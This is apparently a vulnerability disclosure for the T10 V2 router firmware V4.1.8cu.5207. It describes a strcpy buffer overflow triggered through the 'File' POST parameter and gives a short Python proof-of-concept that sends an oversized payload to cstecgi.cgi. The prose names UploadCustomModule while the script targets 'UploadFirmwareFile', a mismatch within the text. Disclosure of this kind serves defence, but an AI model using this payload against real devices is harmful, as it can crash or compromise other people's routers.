T10 V2_Firmware V2_V4.1.8cu.5207
In the T10 V2_Firmware V2_V4.1.8cu.5207 firmware has a buffer overflow vulnerability in the UploadCustomModule
function. The v8
variable receives the File
parameter from a POST request. However, since the user can control the input of File
, the strcpy(v15, v8);
can cause a buffer overflow vulnerability.
import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {'topicurl' : "UploadFirmwareFile",
"File" : "a"*0x500000}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)